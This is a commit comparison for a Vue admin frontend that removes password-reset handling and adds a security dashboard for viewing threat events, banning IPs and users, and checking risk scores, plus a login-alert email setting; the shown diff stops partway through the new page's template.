Compare commits
4 Commits
e3b0c35da6
...
89f3fd9759
| Author | SHA1 | Date | |
|---|---|---|---|
| 89f3fd9759 | |||
| 4ba933b001 | |||
| 759d99e8af | |||
| 46253337eb |
@@ -39,6 +39,7 @@ COPY routes/ ./routes/
|
||||
COPY services/ ./services/
|
||||
COPY realtime/ ./realtime/
|
||||
COPY db/ ./db/
|
||||
COPY security/ ./security/
|
||||
|
||||
COPY templates/ ./templates/
|
||||
COPY static/ ./static/
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
import { api } from './client'
|
||||
|
||||
export async function fetchPasswordResets() {
|
||||
const { data } = await api.get('/password_resets')
|
||||
return data
|
||||
}
|
||||
|
||||
export async function approvePasswordReset(requestId) {
|
||||
const { data } = await api.post(`/password_resets/${requestId}/approve`)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function rejectPasswordReset(requestId) {
|
||||
const { data } = await api.post(`/password_resets/${requestId}/reject`)
|
||||
return data
|
||||
}
|
||||
|
||||
59
admin-frontend/src/api/security.js
Normal file
59
admin-frontend/src/api/security.js
Normal file
@@ -0,0 +1,59 @@
|
||||
import { api } from './client'
|
||||
|
||||
export async function getDashboard() {
|
||||
const { data } = await api.get('/admin/security/dashboard')
|
||||
return data
|
||||
}
|
||||
|
||||
export async function getThreats(params) {
|
||||
const { data } = await api.get('/admin/security/threats', { params })
|
||||
return data
|
||||
}
|
||||
|
||||
export async function getBannedIps() {
|
||||
const { data } = await api.get('/admin/security/banned-ips')
|
||||
return data
|
||||
}
|
||||
|
||||
export async function getBannedUsers() {
|
||||
const { data } = await api.get('/admin/security/banned-users')
|
||||
return data
|
||||
}
|
||||
|
||||
export async function banIp(payload) {
|
||||
const { data } = await api.post('/admin/security/ban-ip', payload)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function unbanIp(ip) {
|
||||
const { data } = await api.post('/admin/security/unban-ip', { ip })
|
||||
return data
|
||||
}
|
||||
|
||||
export async function banUser(payload) {
|
||||
const { data } = await api.post('/admin/security/ban-user', payload)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function unbanUser(userId) {
|
||||
const { data } = await api.post('/admin/security/unban-user', { user_id: userId })
|
||||
return data
|
||||
}
|
||||
|
||||
export async function getIpRisk(ip) {
|
||||
const safeIp = encodeURIComponent(String(ip || '').trim())
|
||||
const { data } = await api.get(`/admin/security/ip-risk/${safeIp}`)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function getUserRisk(userId) {
|
||||
const safeUserId = encodeURIComponent(String(userId || '').trim())
|
||||
const { data } = await api.get(`/admin/security/user-risk/${safeUserId}`)
|
||||
return data
|
||||
}
|
||||
|
||||
export async function cleanup() {
|
||||
const { data } = await api.post('/admin/security/cleanup', {})
|
||||
return data
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
ChatLineSquare,
|
||||
Document,
|
||||
List,
|
||||
Lock,
|
||||
Message,
|
||||
Setting,
|
||||
Tools,
|
||||
@@ -15,7 +16,6 @@ import {
|
||||
|
||||
import { api } from '../api/client'
|
||||
import { fetchFeedbackStats } from '../api/feedbacks'
|
||||
import { fetchPasswordResets } from '../api/passwordResets'
|
||||
import { fetchSystemStats } from '../api/stats'
|
||||
|
||||
const route = useRoute()
|
||||
@@ -33,15 +33,11 @@ async function refreshStats() {
|
||||
}
|
||||
|
||||
const loadingBadges = ref(false)
|
||||
const pendingResetsCount = ref(0)
|
||||
const pendingFeedbackCount = ref(0)
|
||||
let badgeTimer
|
||||
|
||||
async function refreshNavBadges(partial = null) {
|
||||
if (partial && typeof partial === 'object') {
|
||||
if (Object.prototype.hasOwnProperty.call(partial, 'pendingResets')) {
|
||||
pendingResetsCount.value = Number(partial.pendingResets || 0)
|
||||
}
|
||||
if (Object.prototype.hasOwnProperty.call(partial, 'pendingFeedbacks')) {
|
||||
pendingFeedbackCount.value = Number(partial.pendingFeedbacks || 0)
|
||||
}
|
||||
@@ -52,18 +48,8 @@ async function refreshNavBadges(partial = null) {
|
||||
loadingBadges.value = true
|
||||
|
||||
try {
|
||||
const [resetsResult, feedbackResult] = await Promise.allSettled([
|
||||
fetchPasswordResets(),
|
||||
fetchFeedbackStats(),
|
||||
])
|
||||
|
||||
if (resetsResult.status === 'fulfilled') {
|
||||
pendingResetsCount.value = Array.isArray(resetsResult.value) ? resetsResult.value.length : 0
|
||||
}
|
||||
|
||||
if (feedbackResult.status === 'fulfilled') {
|
||||
pendingFeedbackCount.value = Number(feedbackResult.value?.pending || 0)
|
||||
}
|
||||
const feedbackResult = await fetchFeedbackStats()
|
||||
pendingFeedbackCount.value = Number(feedbackResult?.pending || 0)
|
||||
} finally {
|
||||
loadingBadges.value = false
|
||||
}
|
||||
@@ -99,11 +85,12 @@ onBeforeUnmount(() => {
|
||||
|
||||
const menuItems = [
|
||||
{ path: '/reports', label: '报表', icon: Document },
|
||||
{ path: '/users', label: '用户', icon: User, badgeKey: 'resets' },
|
||||
{ path: '/users', label: '用户', icon: User },
|
||||
{ path: '/feedbacks', label: '反馈', icon: ChatLineSquare, badgeKey: 'feedbacks' },
|
||||
{ path: '/logs', label: '任务日志', icon: List },
|
||||
{ path: '/announcements', label: '公告', icon: Bell },
|
||||
{ path: '/email', label: '邮件', icon: Message },
|
||||
{ path: '/security', label: '安全防护', icon: Lock },
|
||||
{ path: '/system', label: '系统配置', icon: Tools },
|
||||
{ path: '/settings', label: '设置', icon: Setting },
|
||||
]
|
||||
@@ -112,7 +99,6 @@ const activeMenu = computed(() => route.path)
|
||||
|
||||
function badgeFor(item) {
|
||||
if (!item?.badgeKey) return 0
|
||||
if (item.badgeKey === 'resets') return Number(pendingResetsCount.value || 0)
|
||||
if (item.badgeKey === 'feedbacks') {
|
||||
return Number(pendingFeedbackCount.value || 0)
|
||||
}
|
||||
|
||||
@@ -21,6 +21,7 @@ const settings = reactive({
|
||||
enabled: false,
|
||||
failover_enabled: true,
|
||||
register_verify_enabled: false,
|
||||
login_alert_enabled: true,
|
||||
task_notify_enabled: false,
|
||||
base_url: '',
|
||||
updated_at: null,
|
||||
@@ -35,6 +36,7 @@ async function loadEmailSettings() {
|
||||
settings.enabled = Boolean(data.enabled)
|
||||
settings.failover_enabled = Boolean(data.failover_enabled)
|
||||
settings.register_verify_enabled = Boolean(data.register_verify_enabled)
|
||||
settings.login_alert_enabled = data.login_alert_enabled === undefined ? true : Boolean(data.login_alert_enabled)
|
||||
settings.task_notify_enabled = Boolean(data.task_notify_enabled)
|
||||
settings.base_url = data.base_url || ''
|
||||
settings.updated_at = data.updated_at || null
|
||||
@@ -53,6 +55,7 @@ async function saveEmailSettings() {
|
||||
enabled: settings.enabled,
|
||||
failover_enabled: settings.failover_enabled,
|
||||
register_verify_enabled: settings.register_verify_enabled,
|
||||
login_alert_enabled: settings.login_alert_enabled,
|
||||
task_notify_enabled: settings.task_notify_enabled,
|
||||
base_url: (settings.base_url || '').trim(),
|
||||
})
|
||||
@@ -597,6 +600,8 @@ onMounted(refreshAll)
|
||||
@change="scheduleSaveEmailSettings"
|
||||
/>
|
||||
</el-form-item>
|
||||
|
||||
<el-divider content-position="left">通知设置</el-divider>
|
||||
<el-form-item label="启用任务完成通知">
|
||||
<el-switch
|
||||
v-model="settings.task_notify_enabled"
|
||||
@@ -604,6 +609,14 @@ onMounted(refreshAll)
|
||||
@change="scheduleSaveEmailSettings"
|
||||
/>
|
||||
</el-form-item>
|
||||
<el-form-item label="新设备登录提醒">
|
||||
<el-switch
|
||||
v-model="settings.login_alert_enabled"
|
||||
:disabled="emailSettingsSaving"
|
||||
@change="scheduleSaveEmailSettings"
|
||||
/>
|
||||
<div class="help">当检测到新设备或新IP登录时,发送邮件提醒用户</div>
|
||||
</el-form-item>
|
||||
<el-form-item label="网站基础URL">
|
||||
<el-input
|
||||
v-model="settings.base_url"
|
||||
|
||||
@@ -6,7 +6,6 @@ import {
|
||||
Clock,
|
||||
Cpu,
|
||||
Key,
|
||||
Lock,
|
||||
Loading,
|
||||
Message,
|
||||
Star,
|
||||
@@ -18,14 +17,12 @@ import {
|
||||
|
||||
import { fetchFeedbackStats } from '../api/feedbacks'
|
||||
import { fetchEmailStats } from '../api/email'
|
||||
import { fetchPasswordResets } from '../api/passwordResets'
|
||||
import { fetchDockerStats, fetchRunningTasks, fetchServerInfo, fetchTaskStats } from '../api/tasks'
|
||||
import { fetchSystemConfig } from '../api/system'
|
||||
import { fetchUpdateResult, fetchUpdateStatus } from '../api/update'
|
||||
|
||||
const refreshStats = inject('refreshStats', null)
|
||||
const adminStats = inject('adminStats', null)
|
||||
const refreshNavBadges = inject('refreshNavBadges', null)
|
||||
|
||||
const loading = ref(false)
|
||||
const lastUpdatedAt = ref('')
|
||||
@@ -40,7 +37,6 @@ const systemConfig = ref(null)
|
||||
const updateStatus = ref(null)
|
||||
const updateStatusError = ref('')
|
||||
const updateResult = ref(null)
|
||||
const passwordResetsCount = ref(0)
|
||||
const queueTab = ref('running')
|
||||
|
||||
function recordUpdatedAt() {
|
||||
@@ -101,7 +97,6 @@ const overviewCards = computed(() => {
|
||||
sub: liveMax ? `并发上限 ${liveMax}` : '',
|
||||
},
|
||||
{ label: '排队任务', value: normalizeCount(runningTasks.value?.queuing_count), icon: Clock, tone: 'purple' },
|
||||
{ label: '密码重置待处理', value: normalizeCount(passwordResetsCount.value), icon: Lock, tone: 'red' },
|
||||
]
|
||||
})
|
||||
|
||||
@@ -172,7 +167,6 @@ async function refreshAll() {
|
||||
runningResult,
|
||||
emailResult,
|
||||
feedbackResult,
|
||||
resetsResult,
|
||||
serverResult,
|
||||
dockerResult,
|
||||
configResult,
|
||||
@@ -183,7 +177,6 @@ async function refreshAll() {
|
||||
fetchRunningTasks(),
|
||||
fetchEmailStats(),
|
||||
fetchFeedbackStats(),
|
||||
fetchPasswordResets(),
|
||||
fetchServerInfo(),
|
||||
fetchDockerStats(),
|
||||
fetchSystemConfig(),
|
||||
@@ -195,7 +188,6 @@ async function refreshAll() {
|
||||
runningTasks.value = runningResult.status === 'fulfilled' ? runningResult.value : null
|
||||
emailStats.value = emailResult.status === 'fulfilled' ? emailResult.value : null
|
||||
feedbackStats.value = feedbackResult.status === 'fulfilled' ? feedbackResult.value : null
|
||||
passwordResetsCount.value = resetsResult.status === 'fulfilled' ? (Array.isArray(resetsResult.value) ? resetsResult.value.length : 0) : 0
|
||||
serverInfo.value = serverResult.status === 'fulfilled' ? serverResult.value : null
|
||||
dockerStats.value = dockerResult.status === 'fulfilled' ? dockerResult.value : null
|
||||
systemConfig.value = configResult.status === 'fulfilled' ? configResult.value : null
|
||||
@@ -216,7 +208,6 @@ async function refreshAll() {
|
||||
|
||||
updateResult.value = updateResultResult.status === 'fulfilled' && updateResultResult.value?.ok ? updateResultResult.value.data : null
|
||||
|
||||
await refreshNavBadges?.({ pendingResets: passwordResetsCount.value })
|
||||
await refreshStats?.()
|
||||
recordUpdatedAt()
|
||||
} finally {
|
||||
|
||||
804
admin-frontend/src/pages/SecurityPage.vue
Normal file
804
admin-frontend/src/pages/SecurityPage.vue
Normal file
@@ -0,0 +1,804 @@
|
||||
<script setup>
|
||||
import { computed, onMounted, ref } from 'vue'
|
||||
import { ElMessage, ElMessageBox } from 'element-plus'
|
||||
|
||||
import {
|
||||
banIp,
|
||||
banUser,
|
||||
cleanup,
|
||||
getBannedIps,
|
||||
getBannedUsers,
|
||||
getDashboard,
|
||||
getIpRisk,
|
||||
getThreats,
|
||||
getUserRisk,
|
||||
unbanIp,
|
||||
unbanUser,
|
||||
} from '../api/security'
|
||||
|
||||
const pageSize = 20
|
||||
|
||||
const activeTab = ref('threats')
|
||||
|
||||
const dashboardLoading = ref(false)
|
||||
const dashboard = ref(null)
|
||||
|
||||
const threatsLoading = ref(false)
|
||||
const threatItems = ref([])
|
||||
const threatTotal = ref(0)
|
||||
const threatPage = ref(1)
|
||||
const threatTypeFilter = ref('')
|
||||
const threatSeverityFilter = ref('')
|
||||
|
||||
const bansLoading = ref(false)
|
||||
const bannedIps = ref([])
|
||||
const bannedUsers = ref([])
|
||||
const banTab = ref('ips')
|
||||
|
||||
const banDialogOpen = ref(false)
|
||||
const banSubmitting = ref(false)
|
||||
const banForm = ref({
|
||||
kind: 'ip',
|
||||
ip: '',
|
||||
user_id: '',
|
||||
reason: '',
|
||||
duration_hours: 24,
|
||||
permanent: false,
|
||||
})
|
||||
|
||||
const riskTab = ref('ip')
|
||||
const riskLoading = ref(false)
|
||||
const riskIpInput = ref('')
|
||||
const riskUserIdInput = ref('')
|
||||
const riskResult = ref(null)
|
||||
const riskResultKind = ref('')
|
||||
|
||||
const commonThreatTypes = [
|
||||
'sql_injection',
|
||||
'xss',
|
||||
'path_traversal',
|
||||
'command_injection',
|
||||
'ssrf',
|
||||
'scanner',
|
||||
'bruteforce',
|
||||
'csrf',
|
||||
'xxe',
|
||||
'file_upload',
|
||||
]
|
||||
|
||||
function normalizeCount(value) {
|
||||
const n = Number(value)
|
||||
return Number.isFinite(n) ? n : 0
|
||||
}
|
||||
|
||||
function scoreMeta(score) {
|
||||
const n = Number(score || 0)
|
||||
if (n >= 80) return { label: '高', type: 'danger' }
|
||||
if (n >= 50) return { label: '中', type: 'warning' }
|
||||
return { label: '低', type: 'success' }
|
||||
}
|
||||
|
||||
function formatExpires(expiresAt) {
|
||||
const text = String(expiresAt || '').trim()
|
||||
return text ? text : '永久'
|
||||
}
|
||||
|
||||
function payloadTooltip(row) {
|
||||
const parts = []
|
||||
if (row?.field_name) parts.push(`字段: ${row.field_name}`)
|
||||
if (row?.rule) parts.push(`规则: ${row.rule}`)
|
||||
if (row?.matched) parts.push(`匹配: ${row.matched}`)
|
||||
if (row?.value_preview) parts.push(`值: ${row.value_preview}`)
|
||||
return parts.length ? parts.join(' · ') : '-'
|
||||
}
|
||||
|
||||
function pathText(row) {
|
||||
const method = String(row?.request_method || '').trim()
|
||||
const path = String(row?.request_path || '').trim()
|
||||
const combined = `${method} ${path}`.trim()
|
||||
return combined || '-'
|
||||
}
|
||||
|
||||
const threatTypeOptions = computed(() => {
|
||||
const seen = new Set(commonThreatTypes)
|
||||
const recent = dashboard.value?.recent_threat_events || []
|
||||
for (const item of recent) {
|
||||
const t = String(item?.threat_type || '').trim()
|
||||
if (t) seen.add(t)
|
||||
}
|
||||
for (const item of threatItems.value || []) {
|
||||
const t = String(item?.threat_type || '').trim()
|
||||
if (t) seen.add(t)
|
||||
}
|
||||
return Array.from(seen)
|
||||
.sort((a, b) => a.localeCompare(b))
|
||||
.map((t) => ({ label: t, value: t }))
|
||||
})
|
||||
|
||||
const dashboardCards = computed(() => {
|
||||
const d = dashboard.value || {}
|
||||
return [
|
||||
{ key: 'threat_events_24h', label: '最近24小时威胁事件', value: normalizeCount(d.threat_events_24h) },
|
||||
{ key: 'banned_ip_count', label: '当前封禁IP数', value: normalizeCount(d.banned_ip_count) },
|
||||
{ key: 'banned_user_count', label: '当前封禁用户数', value: normalizeCount(d.banned_user_count) },
|
||||
]
|
||||
})
|
||||
|
||||
const threatTotalPages = computed(() => Math.max(1, Math.ceil((threatTotal.value || 0) / pageSize)))
|
||||
|
||||
async function loadDashboard() {
|
||||
dashboardLoading.value = true
|
||||
try {
|
||||
dashboard.value = await getDashboard()
|
||||
} catch {
|
||||
dashboard.value = null
|
||||
} finally {
|
||||
dashboardLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function loadThreats() {
|
||||
threatsLoading.value = true
|
||||
try {
|
||||
const params = {
|
||||
page: threatPage.value,
|
||||
per_page: pageSize,
|
||||
}
|
||||
if (threatTypeFilter.value) params.event_type = threatTypeFilter.value
|
||||
if (threatSeverityFilter.value) params.severity = threatSeverityFilter.value
|
||||
|
||||
const data = await getThreats(params)
|
||||
threatItems.value = data?.items || []
|
||||
threatTotal.value = data?.total || 0
|
||||
} catch {
|
||||
threatItems.value = []
|
||||
threatTotal.value = 0
|
||||
} finally {
|
||||
threatsLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function loadBans() {
|
||||
if (bansLoading.value) return
|
||||
bansLoading.value = true
|
||||
try {
|
||||
const [ipsRes, usersRes] = await Promise.allSettled([getBannedIps(), getBannedUsers()])
|
||||
bannedIps.value = ipsRes.status === 'fulfilled' ? ipsRes.value?.items || [] : []
|
||||
bannedUsers.value = usersRes.status === 'fulfilled' ? usersRes.value?.items || [] : []
|
||||
} finally {
|
||||
bansLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function refreshAll() {
|
||||
await Promise.allSettled([loadDashboard(), loadThreats(), loadBans()])
|
||||
}
|
||||
|
||||
function onThreatFilter() {
|
||||
threatPage.value = 1
|
||||
loadThreats()
|
||||
}
|
||||
|
||||
function onThreatReset() {
|
||||
threatTypeFilter.value = ''
|
||||
threatSeverityFilter.value = ''
|
||||
threatPage.value = 1
|
||||
loadThreats()
|
||||
}
|
||||
|
||||
function resetBanForm() {
|
||||
banForm.value = {
|
||||
kind: 'ip',
|
||||
ip: '',
|
||||
user_id: '',
|
||||
reason: '',
|
||||
duration_hours: 24,
|
||||
permanent: false,
|
||||
}
|
||||
}
|
||||
|
||||
function openBanDialog(kind = 'ip', preset = {}) {
|
||||
resetBanForm()
|
||||
banForm.value.kind = kind === 'user' ? 'user' : 'ip'
|
||||
if (banForm.value.kind === 'ip') {
|
||||
banForm.value.ip = String(preset.ip || '').trim()
|
||||
} else {
|
||||
banForm.value.user_id = String(preset.user_id || '').trim()
|
||||
}
|
||||
if (preset.reason) banForm.value.reason = String(preset.reason || '').trim()
|
||||
banDialogOpen.value = true
|
||||
}
|
||||
|
||||
async function submitBan() {
|
||||
const kind = banForm.value.kind
|
||||
const reason = String(banForm.value.reason || '').trim()
|
||||
const permanent = Boolean(banForm.value.permanent)
|
||||
const durationHours = Number(banForm.value.duration_hours || 24)
|
||||
|
||||
if (!reason) {
|
||||
ElMessage.error('原因不能为空')
|
||||
return
|
||||
}
|
||||
|
||||
if (kind === 'ip') {
|
||||
const ip = String(banForm.value.ip || '').trim()
|
||||
if (!ip) {
|
||||
ElMessage.error('IP不能为空')
|
||||
return
|
||||
}
|
||||
banSubmitting.value = true
|
||||
try {
|
||||
await banIp({ ip, reason, duration_hours: durationHours, permanent })
|
||||
ElMessage.success('IP已封禁')
|
||||
banDialogOpen.value = false
|
||||
await Promise.allSettled([loadDashboard(), loadBans()])
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
} finally {
|
||||
banSubmitting.value = false
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
const userIdRaw = String(banForm.value.user_id || '').trim()
|
||||
const userId = Number.parseInt(userIdRaw, 10)
|
||||
if (!Number.isFinite(userId)) {
|
||||
ElMessage.error('用户ID无效')
|
||||
return
|
||||
}
|
||||
|
||||
banSubmitting.value = true
|
||||
try {
|
||||
await banUser({ user_id: userId, reason, duration_hours: durationHours, permanent })
|
||||
ElMessage.success('用户已封禁')
|
||||
banDialogOpen.value = false
|
||||
await Promise.allSettled([loadDashboard(), loadBans()])
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
} finally {
|
||||
banSubmitting.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function onUnbanIp(ip) {
|
||||
const ipText = String(ip || '').trim()
|
||||
if (!ipText) return
|
||||
|
||||
try {
|
||||
await ElMessageBox.confirm(`确定解除对 IP ${ipText} 的封禁吗?`, '解除封禁', {
|
||||
confirmButtonText: '解除',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning',
|
||||
})
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
await unbanIp(ipText)
|
||||
ElMessage.success('已解除IP封禁')
|
||||
await Promise.allSettled([loadDashboard(), loadBans()])
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
}
|
||||
}
|
||||
|
||||
async function onUnbanUser(userId) {
|
||||
const id = Number.parseInt(String(userId || '').trim(), 10)
|
||||
if (!Number.isFinite(id)) return
|
||||
|
||||
try {
|
||||
await ElMessageBox.confirm(`确定解除对 用户ID ${id} 的封禁吗?`, '解除封禁', {
|
||||
confirmButtonText: '解除',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning',
|
||||
})
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
await unbanUser(id)
|
||||
ElMessage.success('已解除用户封禁')
|
||||
await Promise.allSettled([loadDashboard(), loadBans()])
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
}
|
||||
}
|
||||
|
||||
function jumpToIpRisk(ip) {
|
||||
const ipText = String(ip || '').trim()
|
||||
if (!ipText) return
|
||||
activeTab.value = 'risk'
|
||||
riskTab.value = 'ip'
|
||||
riskIpInput.value = ipText
|
||||
queryIpRisk()
|
||||
}
|
||||
|
||||
function jumpToUserRisk(userId) {
|
||||
const idText = String(userId || '').trim()
|
||||
if (!idText) return
|
||||
activeTab.value = 'risk'
|
||||
riskTab.value = 'user'
|
||||
riskUserIdInput.value = idText
|
||||
queryUserRisk()
|
||||
}
|
||||
|
||||
async function queryIpRisk() {
|
||||
const ip = String(riskIpInput.value || '').trim()
|
||||
if (!ip) {
|
||||
ElMessage.error('请输入IP')
|
||||
return
|
||||
}
|
||||
riskLoading.value = true
|
||||
try {
|
||||
riskResult.value = await getIpRisk(ip)
|
||||
riskResultKind.value = 'ip'
|
||||
} catch {
|
||||
riskResult.value = null
|
||||
riskResultKind.value = ''
|
||||
} finally {
|
||||
riskLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
async function queryUserRisk() {
|
||||
const raw = String(riskUserIdInput.value || '').trim()
|
||||
const userId = Number.parseInt(raw, 10)
|
||||
if (!Number.isFinite(userId)) {
|
||||
ElMessage.error('请输入有效的用户ID')
|
||||
return
|
||||
}
|
||||
riskLoading.value = true
|
||||
try {
|
||||
riskResult.value = await getUserRisk(userId)
|
||||
riskResultKind.value = 'user'
|
||||
} catch {
|
||||
riskResult.value = null
|
||||
riskResultKind.value = ''
|
||||
} finally {
|
||||
riskLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
function openBanFromRisk() {
|
||||
if (!riskResult.value || !riskResultKind.value) return
|
||||
if (riskResultKind.value === 'ip') {
|
||||
openBanDialog('ip', { ip: riskResult.value?.ip, reason: '风险查询手动封禁' })
|
||||
} else {
|
||||
openBanDialog('user', { user_id: riskResult.value?.user_id, reason: '风险查询手动封禁' })
|
||||
}
|
||||
}
|
||||
|
||||
async function unbanFromRisk() {
|
||||
if (!riskResult.value || !riskResultKind.value) return
|
||||
if (riskResultKind.value === 'ip') {
|
||||
await onUnbanIp(riskResult.value?.ip)
|
||||
await queryIpRisk()
|
||||
} else {
|
||||
await onUnbanUser(riskResult.value?.user_id)
|
||||
await queryUserRisk()
|
||||
}
|
||||
}
|
||||
|
||||
const cleanupLoading = ref(false)
|
||||
|
||||
async function onCleanup() {
|
||||
try {
|
||||
await ElMessageBox.confirm(
|
||||
'确定清理过期封禁记录,并衰减风险分吗?\n\n该操作不会影响仍在有效期内的封禁。',
|
||||
'清理过期记录',
|
||||
{ confirmButtonText: '清理', cancelButtonText: '取消', type: 'warning' },
|
||||
)
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
cleanupLoading.value = true
|
||||
try {
|
||||
await cleanup()
|
||||
ElMessage.success('清理完成')
|
||||
await refreshAll()
|
||||
} catch {
|
||||
// handled by interceptor
|
||||
} finally {
|
||||
cleanupLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
onMounted(async () => {
|
||||
await refreshAll()
|
||||
})
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="page-stack">
|
||||
<div class="app-page-title">
|
||||
<h2>安全防护</h2>
|
||||
<div class="toolbar">
|
||||
<el-button @click="refreshAll">刷新</el-button>
|
||||
<el-button type="warning" plain :loading="cleanupLoading" @click="onCleanup">清理过期记录</el-button>
|
||||
<el-button type="primary" @click="openBanDialog()">手动封禁</el-button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<el-row :gutter="12" class="stats-row">
|
||||
<el-col v-for="it in dashboardCards" :key="it.key" :xs="24" :sm="8" :md="8" :lg="8" :xl="8">
|
||||
<el-card shadow="never" class="stat-card" :body-style="{ padding: '14px' }">
|
||||
<div class="stat-value">
|
||||
<el-skeleton v-if="dashboardLoading" :rows="1" animated />
|
||||
<template v-else>{{ it.value }}</template>
|
||||
</div>
|
||||
<div class="stat-label">{{ it.label }}</div>
|
||||
</el-card>
|
||||
</el-col>
|
||||
</el-row>
|
||||
|
||||
<el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
|
||||
<el-tabs v-model="activeTab">
|
||||
<el-tab-pane label="威胁事件" name="threats">
|
||||
<div class="filters">
|
||||
<el-select
|
||||
v-model="threatTypeFilter"
|
||||
placeholder="类型"
|
||||
style="width: 220px"
|
||||
filterable
|
||||
clearable
|
||||
allow-create
|
||||
default-first-option
|
||||
>
|
||||
<el-option label="全部" value="" />
|
||||
<el-option v-for="t in threatTypeOptions" :key="t.value" :label="t.label" :value="t.value" />
|
||||
</el-select>
|
||||
|
||||
<el-select v-model="threatSeverityFilter" placeholder="严重程度" style="width: 200px" clearable>
|
||||
<el-option label="全部" value="" />
|
||||
<el-option label="高风险(>=80)" value="high" />
|
||||
<el-option label="中风险(50-79)" value="medium" />
|
||||
<el-option label="低风险(<50)" value="low" />
|
||||
</el-select>
|
||||
|
||||
<el-button type="primary" @click="onThreatFilter">筛选</el-button>
|
||||
<el-button @click="onThreatReset">重置</el-button>
|
||||
</div>
|
||||
|
||||
<div class="table-wrap">
|
||||
<el-table :data="threatItems" v-loading="threatsLoading" style="width: 100%">
|
||||
<el-table-column prop="created_at" label="时间" width="180" />
|
||||
<el-table-column label="类型" width="170">
|
||||
<template #default="{ row }">
|
||||
<el-tag effect="light" type="info">{{ row.threat_type || 'unknown' }}</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="严重程度" width="120">
|
||||
<template #default="{ row }">
|
||||
<el-tag :type="scoreMeta(row.score).type" effect="light">
|
||||
{{ scoreMeta(row.score).label }} ({{ row.score ?? 0 }})
|
||||
</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="IP" width="150">
|
||||
<template #default="{ row }">
|
||||
<el-link v-if="row.ip" type="primary" :underline="false" @click="jumpToIpRisk(row.ip)">
|
||||
{{ row.ip }}
|
||||
</el-link>
|
||||
<span v-else>-</span>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="用户" width="120">
|
||||
<template #default="{ row }">
|
||||
<el-link
|
||||
v-if="row.user_id !== null && row.user_id !== undefined"
|
||||
type="primary"
|
||||
:underline="false"
|
||||
@click="jumpToUserRisk(row.user_id)"
|
||||
>
|
||||
{{ row.user_id }}
|
||||
</el-link>
|
||||
<span v-else>-</span>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="操作路径" min-width="220">
|
||||
<template #default="{ row }">
|
||||
<el-tooltip :content="pathText(row)" placement="top" :show-after="300">
|
||||
<span class="mono ellipsis">{{ pathText(row) }}</span>
|
||||
</el-tooltip>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="Payload预览" min-width="240">
|
||||
<template #default="{ row }">
|
||||
<el-tooltip :content="payloadTooltip(row)" placement="top" :show-after="300">
|
||||
<span class="ellipsis">{{ row.value_preview || '-' }}</span>
|
||||
</el-tooltip>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</div>
|
||||
|
||||
<div class="pagination">
|
||||
<el-pagination
|
||||
v-model:current-page="threatPage"
|
||||
:page-size="pageSize"
|
||||
:total="threatTotal"
|
||||
layout="prev, pager, next, jumper, ->, total"
|
||||
@current-change="loadThreats"
|
||||
/>
|
||||
<div class="page-hint app-muted">第 {{ threatPage }} / {{ threatTotalPages }} 页</div>
|
||||
</div>
|
||||
</el-tab-pane>
|
||||
|
||||
<el-tab-pane label="封禁管理" name="bans">
|
||||
<div class="toolbar">
|
||||
<el-button @click="loadBans">刷新封禁列表</el-button>
|
||||
<el-button type="primary" @click="openBanDialog()">手动封禁</el-button>
|
||||
</div>
|
||||
|
||||
<el-tabs v-model="banTab" class="inner-tabs">
|
||||
<el-tab-pane label="IP黑名单" name="ips">
|
||||
<div class="table-wrap">
|
||||
<el-table :data="bannedIps" v-loading="bansLoading" style="width: 100%">
|
||||
<el-table-column label="IP" width="180">
|
||||
<template #default="{ row }">
|
||||
<el-link type="primary" :underline="false" @click="jumpToIpRisk(row.ip)">
|
||||
{{ row.ip || '-' }}
|
||||
</el-link>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column prop="reason" label="原因" min-width="260" />
|
||||
<el-table-column label="过期时间" width="190">
|
||||
<template #default="{ row }">{{ formatExpires(row.expires_at) }}</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="操作" width="120" fixed="right">
|
||||
<template #default="{ row }">
|
||||
<el-button size="small" type="danger" plain @click="onUnbanIp(row.ip)">解除</el-button>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</div>
|
||||
</el-tab-pane>
|
||||
|
||||
<el-tab-pane label="用户黑名单" name="users">
|
||||
<div class="table-wrap">
|
||||
<el-table :data="bannedUsers" v-loading="bansLoading" style="width: 100%">
|
||||
<el-table-column label="用户ID" width="180">
|
||||
<template #default="{ row }">
|
||||
<el-link type="primary" :underline="false" @click="jumpToUserRisk(row.user_id)">
|
||||
{{ row.user_id ?? '-' }}
|
||||
</el-link>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column prop="reason" label="原因" min-width="260" />
|
||||
<el-table-column label="过期时间" width="190">
|
||||
